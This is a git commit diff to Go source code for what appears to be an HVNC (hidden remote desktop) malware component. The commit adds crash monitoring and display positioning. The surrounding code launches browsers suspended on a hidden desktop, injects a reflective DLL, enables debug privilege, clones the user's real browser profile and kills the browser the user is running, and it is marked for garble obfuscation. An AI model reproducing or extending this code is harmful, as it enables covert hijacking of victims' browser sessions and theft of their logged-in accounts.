add more info for when chrome gets killed

This commit is contained in:
KingKDot
2026-05-15 21:01:42 -05:00
parent 34b6273d8b
commit 0c9e156d95
7 changed files with 181 additions and 40 deletions
@@ -30,6 +30,7 @@ var (
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
procGetExitCodeProcess = kernel32.NewProc("GetExitCodeProcess")
)
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
@@ -66,6 +67,58 @@ const (
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
)
func describeExitCode(code uint32) string {
switch code {
case 0:
return "normal exit"
case 0xC0000005:
return "access violation (0xC0000005)"
case 0xC0000374:
return "heap corruption (0xC0000374)"
case 0xC0000409:
return "stack buffer overrun (0xC0000409)"
case 0xC000001D:
return "illegal instruction (0xC000001D)"
case 0xC00000FD:
return "stack overflow (0xC00000FD)"
case 0xC0000096:
return "privileged instruction (0xC0000096)"
case 0x40010004:
return "debugger terminated process"
case 0xC000013A:
return "process killed by Ctrl+C"
case 1:
return "general error (exit code 1)"
default:
return fmt.Sprintf("exit code 0x%X (%d)", code, code)
}
}
func monitorProcessCrash(pid uint32, label string, notify func(step string, success bool, detail string)) {
hProc, _, _ := procOpenProcess.Call(
SYNCHRONIZE|0x1000, // SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION
0, uintptr(pid),
)
if hProc == 0 {
return
}
defer procCloseHandle.Call(hProc)
ret, _, _ := procWaitForSingleObject.Call(hProc, 8000)
if ret != 0 {
return
}
var exitCode uint32
procGetExitCodeProcess.Call(hProc, uintptr(unsafe.Pointer(&exitCode)))
if exitCode == 0 {
notify("exited", false, fmt.Sprintf("%s (PID %d) exited immediately — %s", label, pid, describeExitCode(exitCode)))
} else {
notify("crashed", false, fmt.Sprintf("%s (PID %d) crashed — %s", label, pid, describeExitCode(exitCode)))
}
}
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
func enableDebugPrivilege() {
var hToken uintptr
@@ -103,7 +156,7 @@ func enableDebugPrivilege() {
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
if filePath == "" {
return 0, fmt.Errorf("empty file path")
}
@@ -118,6 +171,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
captureDllBytes: captureDllBytes,
searchPath: searchPath,
replacePath: replacePath,
display: display,
}, 30*time.Second)
if err != nil {
return 0, err
@@ -125,7 +179,7 @@ func StartHVNCProcessInjected(filePath string, dllBytes []byte, captureDllBytes
return result.pid, result.err
}
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, captureDllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error {
if onDXGIStatus != nil {
hvncDXGIStatusCallback.Store(onDXGIStatus)
}
@@ -158,12 +212,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
}
if isProcessRunning(processName) {
notify("kill", true, fmt.Sprintf("killing running %s", processName))
killProcess(processName)
killed := killProcess(processName)
time.Sleep(1500 * time.Millisecond)
if isProcessRunning(processName) {
notify("kill", false, fmt.Sprintf("%s still running after kill attempt", processName))
notify("kill", false, fmt.Sprintf("%s still running after kill attempt (%d terminated)", processName, len(killed)))
} else {
notify("kill", true, fmt.Sprintf("%s terminated", processName))
notify("kill", true, fmt.Sprintf("terminated %d %s process(es) (PIDs %v)", len(killed), processName, killed))
}
} else {
notify("kill", true, fmt.Sprintf("%s not running, no kill needed", processName))
@@ -172,7 +226,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
if !clone {
notify("launch", true, "starting without profile cloning")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, "", "", display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -184,6 +238,12 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
patchOperaAsync(pid, 5, 2*time.Second)
}()
}
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
return nil
}
@@ -224,7 +284,7 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
}
notify("launch", true, "starting with cloned profile")
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir)
pid, err := StartHVNCProcessInjected(exePath, dllBytes, captureDllBytes, realUserData, cloneDir, display)
if err != nil {
notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err))
return err
@@ -236,12 +296,18 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
patchOperaAsync(pid, 5, 2*time.Second)
}()
}
if pid != 0 {
go func() {
defer recoverAndLog("hvnc crash monitor", nil)
monitorProcessCrash(pid, info.name, notify)
}()
}
return nil
}
// StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte, captureDllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, nil, nil, nil)
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, captureDllBytes, true, false, true, 0, nil, nil, nil)
}
type browserInfo struct {
@@ -417,10 +483,10 @@ func isProcessRunning(name string) bool {
return false
}
func killProcess(name string) {
func killProcess(name string) []uint32 {
snapshot, _, _ := kernel32.NewProc("CreateToolhelp32Snapshot").Call(0x2, 0)
if snapshot == uintptr(^uintptr(0)) {
return
return nil
}
defer procCloseHandle.Call(snapshot)
@@ -437,11 +503,12 @@ func killProcess(name string) {
ExeFile [260]uint16
}
var killed []uint32
var entry processEntry32
entry.Size = uint32(unsafe.Sizeof(entry))
ret, _, _ := kernel32.NewProc("Process32FirstW").Call(snapshot, uintptr(unsafe.Pointer(&entry)))
if ret == 0 {
return
return nil
}
target := strings.ToLower(name)
for {
@@ -449,9 +516,14 @@ func killProcess(name string) {
if strings.ToLower(exeName) == target {
hProc, _, _ := procOpenProcess.Call(0x0001, 0, uintptr(entry.ProcessID)) // PROCESS_TERMINATE
if hProc != 0 {
kernel32.NewProc("TerminateProcess").Call(hProc, 0)
r, _, _ := kernel32.NewProc("TerminateProcess").Call(hProc, 0)
procCloseHandle.Call(hProc)
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
if r != 0 {
killed = append(killed, entry.ProcessID)
log.Printf("hvnc: terminated %s (PID %d)", name, entry.ProcessID)
} else {
log.Printf("hvnc: failed to terminate %s (PID %d)", name, entry.ProcessID)
}
}
}
entry.Size = uint32(unsafe.Sizeof(entry))
@@ -460,6 +532,7 @@ func killProcess(name string) {
break
}
}
return killed
}
func getBrowserUserDataDir(info browserInfo) string {
@@ -785,7 +858,7 @@ func calcDirSize(dir string) int64 {
return total
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string) (uint32, error) {
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureDllBytes []byte, searchPath, replacePath string, display int) (uint32, error) {
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
if filePath == "" {
return 0, fmt.Errorf("empty file path")
@@ -805,7 +878,7 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
enableDebugPrivilege()
// Create the process suspended on the HVNC desktop
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes))
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName, len(dllBytes), display)
if err != nil {
procCloseHandle.Call(shmHandle)
return 0, fmt.Errorf("failed to create suspended process: %v", err)
@@ -1052,12 +1125,17 @@ func createDLLSharedMemory(dllBytes []byte) (handle uintptr, name string, err er
return handle, name, nil
}
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int) (hProcess, hThread uintptr, pid uint32, err error) {
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName string, dllSize int, display int) (hProcess, hThread uintptr, pid uint32, err error) {
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
}
args := " --window-position=0,0"
posX, posY := 0, 0
if mons := monitorList(); display >= 0 && display < len(mons) {
posX = mons[display].rect.Min.X
posY = mons[display].rect.Min.Y
}
args := fmt.Sprintf(" --window-position=%d,%d", posX, posY)
chromiumExes := map[string]bool{
"chrome.exe": true,
"brave.exe": true,
@@ -1082,8 +1160,8 @@ func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath, shmName
var pi processInformation
si.cb = uint32(unsafe.Sizeof(si))
si.lpDesktop = desktopNamePtr
si.dwX = 0
si.dwY = 0
si.dwX = uint32(posX)
si.dwY = uint32(posY)
si.dwFlags = STARTF_USEPOSITION
envBlock, err := buildEnvironmentBlock(searchPath, replacePath, shmName, dllSize)